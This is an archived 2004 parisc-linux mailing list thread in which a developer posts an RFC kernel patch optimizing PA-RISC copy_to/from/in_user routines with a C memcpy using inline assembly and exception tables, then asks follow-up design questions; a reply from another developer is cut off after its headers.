Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C3408CD2CB; Thu,  9 Sep 2004 17:00:32 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21955

This has been on my todo list for sometime -- the parisc kernel
currently uses a one-byte-at-a-time implementation for
copy_{to,from,in}_user. Obviously there is much room for improvement.
Here's an attempt at a more optimal version.

There is a somewhat lengthy comment below in memcpy.c about how this
works, so I will not repeat that here. This seems to work ok for me for
64-bit-smp. Test reports on other systems and different workloads are
welcome (but see the warning below). 

Unfortunately this doesn't speed up as many things as I thought it
would. There are quite a bit of userspace copying that go through
copy_user_page(), which already uses an unrolled register copy loop. I
suspect this implementation is still slightly faster than that, so
possibly that can be slightly optimized as well. You will see the most
improvement in pipe or local socket intensive workloads. On the a500
that i tested on, this improved bw_pipe and bw_unix (from lmbench)
results about 400%. But for e.g. ftp or make vmlinux there was no
measureable performance difference.

I am still doing some verifications on the error handling, so there is a
chance that this patch will corrupt your data. Use with care! With that
cavaet, suggestions for further optimizations and improvements are much
appreciated!!

Many thanks to Grant and Carlos for looking over and helping me spot
some problems in my earlier attempts.

randolph



Index: arch/parisc/lib/Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/lib/Makefile,v
retrieving revision 1.2
diff -u -p -r1.2 Makefile
--- arch/parisc/lib/Makefile	1 Jul 2004 18:30:36 -0000	1.2
+++ arch/parisc/lib/Makefile	9 Sep 2004 23:51:35 -0000
@@ -2,6 +2,6 @@
 # Makefile for parisc-specific library files
 #
 
-lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o
+lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o memcpy.o
 
 lib-$(CONFIG_SMP) += debuglocks.o
Index: arch/parisc/lib/memcpy.c
===================================================================
RCS file: arch/parisc/lib/memcpy.c
diff -N arch/parisc/lib/memcpy.c
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ arch/parisc/lib/memcpy.c	9 Sep 2004 23:51:35 -0000
@@ -0,0 +1,457 @@
+/*
+ *    Optimized memory copy routines.
+ *
+ *    Copyright (C) 2004 Randolph Chung <tausq@debian.org>
+ *
+ *    This program is free software; you can redistribute it and/or modify
+ *    it under the terms of the GNU General Public License as published by
+ *    the Free Software Foundation; either version 2, or (at your option)
+ *    any later version.
+ *
+ *    This program is distributed in the hope that it will be useful,
+ *    but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *    GNU General Public License for more details.
+ *
+ *    You should have received a copy of the GNU General Public License
+ *    along with this program; if not, write to the Free Software
+ *    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ *    Portions derived from the GNU C Library
+ *    Copyright (C) 1991, 1997, 2003 Free Software Foundation, Inc.
+ *
+ * Several strategies are tried to try to get the best performance for various
+ * conditions. In the optimal case, we copy 64-bytes in an unrolled loop using 
+ * fp regs. This is followed by loops that copy 32- or 16-bytes at a time using
+ * general registers.  Unaligned copies are handled either by aligning the 
+ * destination and then using shift-and-write method, or in a few cases by 
+ * falling back to a byte-at-a-time copy.
+ *
+ * I chose to implement this in C because it is easier to maintain and debug,
+ * and in my experiments it appears that the C code generated by gcc (3.3/3.4
+ * at the time of writing) is fairly optimal. Unfortunately some of the 
+ * semantics of the copy routine (exception handling) is difficult to express
+ * in C, so we have to play some tricks to get it to work.
+ *
+ * All the loads and stores are done via explicit asm() code in order to use
+ * the right space registers. 
+ * 
+ * Testing with various alignments and buffer sizes shows that this code is 
+ * often >10x faster than a simple byte-at-a-time copy, even for strangely
+ * aligned operands. It is interesting to note that the glibc version
+ * of memcpy (written in C) is actually quite fast already. This routine is 
+ * able to beat it by 30-40% for aligned copies because of the loop unrolling, 
+ * but in some cases the glibc version is still slightly faster. This lends 
+ * more credibility that gcc can generate very good code as long as we are 
+ * careful.
+ */
+
+#ifdef __KERNEL__
+#include <linux/config.h>
+#include <linux/compiler.h>
+#include <asm/uaccess.h>
+#define s_space "%%sr1"
+#define d_space "%%sr2"
+#else
+#define likely(x)	__builtin_expect(!!(x), 1)
+#define unlikely(x)	__builtin_expect(!!(x), 0)
+#define inline		__inline__ __attribute__((always_inline))
+#define s_space "%%sr0"
+#define d_space "%%sr0"
+#define pa_memcpy new2_copy
+#define L1_CACHE_BYTES 64
+#endif
+
+#define preserve_branch(label)	do {					\
+	volatile int dummy;						\
+	/* The following branch is never taken, it's just here to  */	\
+	/* prevent gcc from optimizing away our exception code. */ 	\
+	if (unlikely(dummy != dummy))					\
+		goto label;						\
+} while (0)
+
+#define get_user_space() (segment_eq(get_fs(), KERNEL_DS) ? 0 : mfsp(3))
+
+#define MERGE(w0, sh_1, w1, sh_2) (((w0) << (sh_1)) | ((w1) >> (sh_2)))
+#define THRESHOLD	16
+
+#ifndef __LP64__
+#define EXC_WORD ".word"
+#else
+#define EXC_WORD ".dword"
+#endif
+
+#define def_load_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e)	\
+	__asm__ __volatile__ (				\
+	"1:\t" #_insn ",ma " #_sz "(" _s ",%1), %0\n" 	\
+	"\t.section __ex_table,\"aw\"\n"		\
+	"\t" EXC_WORD "\t1b\n"				\
+	"\t" EXC_WORD "\t(" #_e "-1b)\n"		\
+	"\t.previous\n"					\
+	: "=" #_tt(_t), "+r"(_a)			\
+	: "1"(_a)					\
+	: "r8")
+
+#define def_store_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e) 	\
+	__asm__ __volatile__ (				\
+	"1:\t" #_insn ",ma %1, " #_sz "(" _s ",%0)\n" 	\
+	"\t.section __ex_table,\"aw\"\n"		\
+	"\t" EXC_WORD "\t1b\n"				\
+	"\t" EXC_WORD "\t(" #_e "-1b)\n"		\
+	"\t.previous\n"					\
+	: "+r"(_a) 					\
+	: #_tt(_t), "0"(_a)				\
+	: "r8")
+
+#define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs,1,r,_s,_a,_t,_e)
+#define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs,1,r,_s,_a,_t,_e)
+#define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw,4,r,_s,_a,_t,_e)
+#define stwma(_s, _t, _a, _e) def_store_ai_insn(stw,4,r,_s,_a,_t,_e)
+#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd,8,f,_s,_a,_t,_e)
+#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd,8,f,_s,_a,_t,_e)
+
+#define ldw(_s,_o,_a,_t,_e) 				\
+	__asm__ __volatile__ (				\
+	"1:\tldw " #_o "(" _s ",%1), %0\n"		\
+	"\t.section __ex_table,\"aw\"\n"		\
+	"\t" EXC_WORD "\t1b\n"				\
+	"\t" EXC_WORD "\t(" #_e "-1b)\n"		\
+	"\t.previous\n"					\
+	: "=r"(_t) 					\
+	: "r"(_a)					\
+	: "r8")
+
+#define stw(_s,_t,_o,_a,_e) 				\
+	__asm__ __volatile__ (				\
+	"1:\tstw %0, " #_o "(" _s ",%1)\n" 		\
+	"\t.section __ex_table,\"aw\"\n"		\
+	"\t.dword\t1b\n"				\
+	"\t.dword\t(" #_e "-1b)\n"			\
+	"\t.previous\n"					\
+	: 						\
+	: "r"(_t), "r"(_a)				\
+	: "r8")
+
+#ifdef  CONFIG_PREFETCH
+extern inline void prefetch_src(const void *addr)
+{
+	__asm__("ldw 0(" s_space ",%0), %%r0" : : "r" (addr));
+}
+
+extern inline void prefetch_dst(const void *addr)
+{
+	__asm__("ldd 0(" d_space ",%0), %%r0" : : "r" (addr));
+}
+#else
+#define prefetch_src(addr)
+#define prefetch_dst(addr)
+#endif
+
+/* Copy from a not-aligned src to an aligned dst, using shifts. Handles 4 words
+ * per loop.  This code is derived from glibc. 
+ */
+static inline unsigned long copy_dstaligned(unsigned long dst, unsigned long src, unsigned long len)
+{
+	/* gcc complains that a2 and a3 may be uninitialized, but actually
+	 * they cannot be.  Initialize a2/a3 to shut gcc up.
+	 */
+	register unsigned int a0, a1, a2 = 0, a3 = 0;
+	int sh_1, sh_2;
+
+	/* prefetch_src((const void *)src); */
+
+	/* Calculate how to shift a word read at the memory operation
+	   aligned srcp to make it aligned for copy.  */
+	sh_1 = 8 * (src % sizeof(unsigned int));
+	sh_2 = 8 * sizeof(unsigned int) - sh_1;
+
+	/* Make src aligned by rounding it down.  */
+	src &= -sizeof(unsigned int);
+
+	switch (len % 4)
+	{
+		case 2:
+			/* a1 = ((unsigned int *) src)[0];
+			   a2 = ((unsigned int *) src)[1]; */
+			ldw(s_space, 0, src, a1, copy_dstaligned_exc);
+			ldw(s_space, 4, src, a2, copy_dstaligned_exc);
+			src -= 1 * sizeof(unsigned int);
+			dst -= 3 * sizeof(unsigned int);
+			len += 2;
+			goto do1;
+		case 3:
+			/* a0 = ((unsigned int *) src)[0];
+			   a1 = ((unsigned int *) src)[1]; */
+			ldw(s_space, 0, src, a0, copy_dstaligned_exc);
+			ldw(s_space, 4, src, a1, copy_dstaligned_exc);
+			src -= 0 * sizeof(unsigned int);
+			dst -= 2 * sizeof(unsigned int);
+			len += 1;
+			goto do2;
+		case 0:
+			if (len == 0)
+				return 0;
+			/* a3 = ((unsigned int *) src)[0];
+			   a0 = ((unsigned int *) src)[1]; */
+			ldw(s_space, 0, src, a3, copy_dstaligned_exc);
+			ldw(s_space, 4, src, a0, copy_dstaligned_exc);
+			src -=-1 * sizeof(unsigned int);
+			dst -= 1 * sizeof(unsigned int);
+			len += 0;
+			goto do3;
+		case 1:
+			/* a2 = ((unsigned int *) src)[0];
+			   a3 = ((unsigned int *) src)[1]; */
+			ldw(s_space, 0, src, a2, copy_dstaligned_exc);
+			ldw(s_space, 4, src, a3, copy_dstaligned_exc);
+			src -=-2 * sizeof(unsigned int);
+			dst -= 0 * sizeof(unsigned int);
+			len -= 1;
+			if (len == 0)
+				goto do0;
+			goto do4;			/* No-op.  */
+	}
+
+	do
+	{
+		/* prefetch_src((const void *)(src + 4 * sizeof(unsigned int))); */
+do4:
+		/* a0 = ((unsigned int *) src)[0]; */
+		ldw(s_space, 0, src, a0, copy_dstaligned_exc);
+		/* ((unsigned int *) dst)[0] = MERGE (a2, sh_1, a3, sh_2); */
+		stw(d_space, MERGE (a2, sh_1, a3, sh_2), 0, dst, copy_dstaligned_exc);
+do3:
+		/* a1 = ((unsigned int *) src)[1]; */
+		ldw(s_space, 4, src, a1, copy_dstaligned_exc);
+		/* ((unsigned int *) dst)[1] = MERGE (a3, sh_1, a0, sh_2); */
+		stw(d_space, MERGE (a3, sh_1, a0, sh_2), 4, dst, copy_dstaligned_exc);
+do2:
+		/* a2 = ((unsigned int *) src)[2]; */
+		ldw(s_space, 8, src, a2, copy_dstaligned_exc);
+		/* ((unsigned int *) dst)[2] = MERGE (a0, sh_1, a1, sh_2); */
+		stw(d_space, MERGE (a0, sh_1, a1, sh_2), 8, dst, copy_dstaligned_exc);
+do1:
+		/* a3 = ((unsigned int *) src)[3]; */
+		ldw(s_space, 12, src, a3, copy_dstaligned_exc);
+		/* ((unsigned int *) dst)[3] = MERGE (a1, sh_1, a2, sh_2); */
+		stw(d_space, MERGE (a1, sh_1, a2, sh_2), 12, dst, copy_dstaligned_exc);
+
+		src += 4 * sizeof(unsigned int);
+		dst += 4 * sizeof(unsigned int);
+		len -= 4;
+	}
+	while (len != 0);
+
+do0:
+	/* ((unsigned int *) dst)[0] = MERGE (a2, sh_1, a3, sh_2); */
+	stw(d_space, MERGE (a2, sh_1, a3, sh_2), 0, dst, copy_dstaligned_exc);
+
+	preserve_branch(handle_error);
+
+	return 0;
+
+handle_error:
+	__asm__ __volatile__ ("copy_dstaligned_exc:\n");
+	printk("copy_dstaligned_exc! returning with %lu\n", len * 4);
+	return len * 4;
+}
+
+
+/* Returns 0 for success, otherwise, returns number of bytes not transferred. */
+unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
+{
+	register unsigned long src, dst, t1, t2, t3;
+	register char *pcs, *pcd;
+	register unsigned int *pws, *pwd;
+	register double *pds, *pdd;
+	unsigned long ret = 0;
+	
+	src = (unsigned long)srcp;
+	dst = (unsigned long)dstp;
+	pcs = (unsigned char *)srcp;
+	pcd = (unsigned char *)dstp;
+
+	/* prefetch_src((const void *)srcp); */
+
+	if (unlikely(len == 0))
+		return 0;
+
+	/* Check alignment */
+	t1 = (src ^ dst);
+	if (unlikely(t1 & (sizeof(double)-1)))
+		goto unaligned_copy;
+
+	/* src and dst have same alignment. */
+
+	/* Copy bytes till we are double-aligned. */
+	t2 = src & (sizeof(double) - 1);
+	if (unlikely(t2 != 0)) {
+		t2 = sizeof(double) - t2;
+		while (t2 && len) {
+			/* *pcd++ = *pcs++; */
+			ldbma(s_space, pcs, t3, pa_memcpy_exc);
+			len--;
+			stbma(d_space, t3, pcd, pa_memcpy_exc);
+			t2--;
+		}
+	}
+
+	pds = (double *)pcs;
+	pdd = (double *)pcd;
+
+	/* Copy 8 doubles at a time */
+	while (len >= 8*sizeof(double)) {
+		register double r1, r2, r3, r4, r5, r6, r7, r8;
+		/* prefetch_src((char *)pds + L1_CACHE_BYTES); */
+		flddma(s_space, pds, r1, pa_memcpy_exc);
+		flddma(s_space, pds, r2, pa_memcpy_exc);
+		flddma(s_space, pds, r3, pa_memcpy_exc);
+		flddma(s_space, pds, r4, pa_memcpy_exc);
+		fstdma(d_space, r1, pdd, pa_memcpy_exc);
+		fstdma(d_space, r2, pdd, pa_memcpy_exc);
+		fstdma(d_space, r3, pdd, pa_memcpy_exc);
+		fstdma(d_space, r4, pdd, pa_memcpy_exc);
+
+#if 0
+		if (L1_CACHE_BYTES <= 32)
+			prefetch_src((char *)pds + L1_CACHE_BYTES);
+#endif
+		flddma(s_space, pds, r5, pa_memcpy_exc);
+		flddma(s_space, pds, r6, pa_memcpy_exc);
+		flddma(s_space, pds, r7, pa_memcpy_exc);
+		flddma(s_space, pds, r8, pa_memcpy_exc);
+		fstdma(d_space, r5, pdd, pa_memcpy_exc);
+		fstdma(d_space, r6, pdd, pa_memcpy_exc);
+		fstdma(d_space, r7, pdd, pa_memcpy_exc);
+		fstdma(d_space, r8, pdd, pa_memcpy_exc);
+		len -= 8*sizeof(double);
+	}
+
+	pws = (unsigned int *)pds;
+	pwd = (unsigned int *)pdd;
+
+word_copy:
+	while (len >= 8*sizeof(unsigned int)) {
+		register unsigned int r1,r2,r3,r4,r5,r6,r7,r8;
+		/* prefetch_src((char *)pws + L1_CACHE_BYTES); */
+		ldwma(s_space, pws, r1, pa_memcpy_exc);
+		ldwma(s_space, pws, r2, pa_memcpy_exc);
+		ldwma(s_space, pws, r3, pa_memcpy_exc);
+		ldwma(s_space, pws, r4, pa_memcpy_exc);
+		stwma(d_space, r1, pwd, pa_memcpy_exc);
+		stwma(d_space, r2, pwd, pa_memcpy_exc);
+		stwma(d_space, r3, pwd, pa_memcpy_exc);
+		stwma(d_space, r4, pwd, pa_memcpy_exc);
+
+		ldwma(s_space, pws, r5, pa_memcpy_exc);
+		ldwma(s_space, pws, r6, pa_memcpy_exc);
+		ldwma(s_space, pws, r7, pa_memcpy_exc);
+		ldwma(s_space, pws, r8, pa_memcpy_exc);
+		stwma(d_space, r5, pwd, pa_memcpy_exc);
+		stwma(d_space, r6, pwd, pa_memcpy_exc);
+		stwma(d_space, r7, pwd, pa_memcpy_exc);
+		stwma(d_space, r8, pwd, pa_memcpy_exc);
+		len -= 8*sizeof(unsigned int);
+	}
+
+	while (len >= 4*sizeof(unsigned int)) {
+		register unsigned int r1,r2,r3,r4;
+		ldwma(s_space, pws, r1, pa_memcpy_exc);
+		ldwma(s_space, pws, r2, pa_memcpy_exc);
+		ldwma(s_space, pws, r3, pa_memcpy_exc);
+		ldwma(s_space, pws, r4, pa_memcpy_exc);
+		stwma(d_space, r1, pwd, pa_memcpy_exc);
+		stwma(d_space, r2, pwd, pa_memcpy_exc);
+		stwma(d_space, r3, pwd, pa_memcpy_exc);
+		stwma(d_space, r4, pwd, pa_memcpy_exc);
+		len -= 4*sizeof(unsigned int);
+	}
+
+	pcs = (unsigned char *)pws;
+	pcd = (unsigned char *)pwd;
+
+byte_copy:
+	while (len) {
+		/* *pcd++ = *pcs++; */
+		ldbma(s_space, pcs, t3, pa_memcpy_exc);
+		stbma(d_space, t3, pcd, pa_memcpy_exc);
+		len--;
+	}
+
+	return 0;
+
+unaligned_copy:
+	if (len < THRESHOLD)
+		goto byte_copy;
+
+	/* possibly we are aligned on a word, but not on a double... */
+	if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
+		t2 = src & (sizeof(unsigned int) - 1);
+
+		if (unlikely(t2 != 0)) {
+			t2 = sizeof(unsigned int) - t2;
+			while (t2) {
+				/* *pcd++ = *pcs++; */
+				ldbma(s_space, pcs, t3, pa_memcpy_exc);
+				stbma(d_space, t3, pcd, pa_memcpy_exc);
+				t2--;
+			}
+		}
+
+		pws = (unsigned int *)pcs;
+		pwd = (unsigned int *)pcd;
+		goto word_copy;
+	}
+
+	/* Align the destination.  */
+	if (unlikely((dst & (sizeof(unsigned int) - 1)) != 0)) {
+		t2 = sizeof(unsigned int) - (dst & (sizeof(unsigned int) - 1));
+		while (t2) {
+			/* *pcd++ = *pcs++; */
+			ldbma(s_space, pcs, t3, pa_memcpy_exc);
+			stbma(d_space, t3, pcd, pa_memcpy_exc);
+			len--;
+			t2--;
+		}
+		dst = (unsigned long)pcd;
+		src = (unsigned long)pcs;
+	}
+
+	ret = copy_dstaligned(dst, src, len / sizeof(unsigned int));
+	if (ret)
+		return ret;
+
+	pcs += (len & -sizeof(unsigned int));
+	pcd += (len & -sizeof(unsigned int));
+	len %= sizeof(unsigned int);
+
+	preserve_branch(handle_error);
+
+	goto byte_copy;
+
+handle_error:
+	__asm__ __volatile__ ("pa_memcpy_exc:\n");
+	printk("pa_memcpy_exc! returning with %lu\n", len + 1);
+	return len + 1;
+}
+
+unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len)
+{
+	mtsp(0, 1);
+	mtsp(get_user_space(), 2);
+	return pa_memcpy(dst, src, len);
+}
+
+unsigned long copy_from_user(void *dst, const void __user *src, unsigned long len)
+{
+	mtsp(get_user_space(), 1);
+	mtsp(0, 2);
+	return pa_memcpy(dst, src, len);
+}
+
+unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned long len)
+{
+	mtsp(get_user_space(), 1);
+	mtsp(get_user_space(), 2);
+	return pa_memcpy(dst, src, len);
+}
Index: arch/parisc/Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/Makefile,v
retrieving revision 1.13
diff -u -p -r1.13 Makefile
--- arch/parisc/Makefile	8 Sep 2004 15:06:48 -0000	1.13
+++ arch/parisc/Makefile	9 Sep 2004 23:51:35 -0000
@@ -38,7 +38,7 @@ cflags-y	:= -pipe
 cflags-y	+= -mno-space-regs -mfast-indirect-calls
 
 # No fixed-point multiply
-cflags-y	+= -mdisable-fpregs
+#cflags-y	+= -mdisable-fpregs
 
 # Without this, "ld -r" results in .text sections that are too big
 # (> 0x40000) for branches to reach stubs.
Index: include/asm-parisc/uaccess.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/uaccess.h,v
retrieving revision 1.13
diff -u -p -r1.13 uaccess.h
--- include/asm-parisc/uaccess.h	4 Feb 2004 18:24:55 -0000	1.13
+++ include/asm-parisc/uaccess.h	9 Sep 2004 23:51:35 -0000
@@ -273,11 +273,11 @@ extern long lstrnlen_user(const char __u
 #define clear_user lclear_user
 #define __clear_user lclear_user
 
-#define copy_from_user lcopy_from_user
-#define __copy_from_user lcopy_from_user
-#define copy_to_user lcopy_to_user
-#define __copy_to_user lcopy_to_user
-#define copy_in_user lcopy_in_user
-#define __copy_in_user lcopy_in_user
+unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len);
+#define __copy_to_user copy_to_user
+unsigned long copy_from_user(void *dst, const void __user *src, unsigned long len);
+#define __copy_from_user copy_from_user
+unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned long len);
+#define __copy_in_user copy_in_user
 
 #endif /* __PARISC_UACCESS_H */

-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Optimi[zs]e copy_*_user routines
Date: Thu, 9 Sep 2004 17:15:57 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20040910001557.GK28659@tausq.org>
References: <20040910000032.GJ28659@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623546 10954 80.91.229.3 (22 Nov 2014 02:32:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12416 invoked by uid 65534); 10 Sep 2004 00:16:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 10 Sep 2004 02:16:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E63633BDDD; Thu,  9 Sep 2004 18:16:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02772-02; Thu, 9 Sep 2004 18:16:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 21ADF3BDFC; Thu,  9 Sep 2004 18:16:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2287D3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Sep 2004 18:15:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01402-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Sep 2004 18:15:58 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id D15863BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Sep 2004 18:15:57 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 75712CD2CB; Thu,  9 Sep 2004 17:15:57 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040910000032.GJ28659@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21956

In reference to a message from Randolph Chung, dated Sep 09:
> This has been on my todo list for sometime -- the parisc kernel
> currently uses a one-byte-at-a-time implementation for
> copy_{to,from,in}_user. Obviously there is much room for improvement.
> Here's an attempt at a more optimal version.

A few more addon questions/RFCs:

- this patch relies on using fp regs for copy operations. In our current
  kernel we actually have -mdisable-fpregs, but i was not able to
  ascertain why. we don't currently have fp lazy state saving. there's
  been some talk about doing this, but it requires some help from gcc.
  is this ok? 

- i have a test suite for testing the copy routine in userspace, so
  memcpy.c is written in a way to make it easily sharable between
  userspace and kernel. is that ok to include the userspace support code
  in the kernel?

- this is the first time the kernel has had to change sr2 in the kernel
  (thus Carlos' earlier patch to restore it in the syscall path).
  Arguably we should not do the sr2 save/restore in the syscall path and
  instead do it in the copy routines, in order to make syscall as fast
  as possible. Thoughts?

  Alternatively, if we play some tricks with the preprocessor we can get
  away with only using sr1, but having 3 copies of the copy routines in
  the code. I actually tried this, but found the hacks required to do it
  to be rather ugly.

- gcc gurus (Dave :) might think what I'm doing with exceptions to be
  too ugly^Wfragile. are there better ways to do it? :)

  this is a somewhat compelling reason to write the whole thing in
  assembly (which will also allow for a few more small optimizations).
  do you think the advantages of maintaining C code outweigh the
  slight performance penality and hacks required?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Optimi[zs]e copy_*_user routines
Date: Fri, 10 Sep 2004 10:04:45 -0400
Lines: 70
Approved: news@gmane.org
Message-ID: <20040910140438.GE9981@baldric.uwo.ca>
References: <20040910000032.GJ28659@tausq.org>
	<20040910001557.GK28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623547 10957 80.91.229.3 (22 Nov 2014 02:32:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18956 invoked by uid 65534); 10 Sep 2004 14:05:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 10 Sep 2004 16:05:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9F8533BDDD; Fri, 10 Sep 2004 08:05:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10025-05; Fri, 10 Sep 2004 08:05:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B77F73BE12; Fri, 10 Sep 2004 08:04:54 -0600 (MDT)
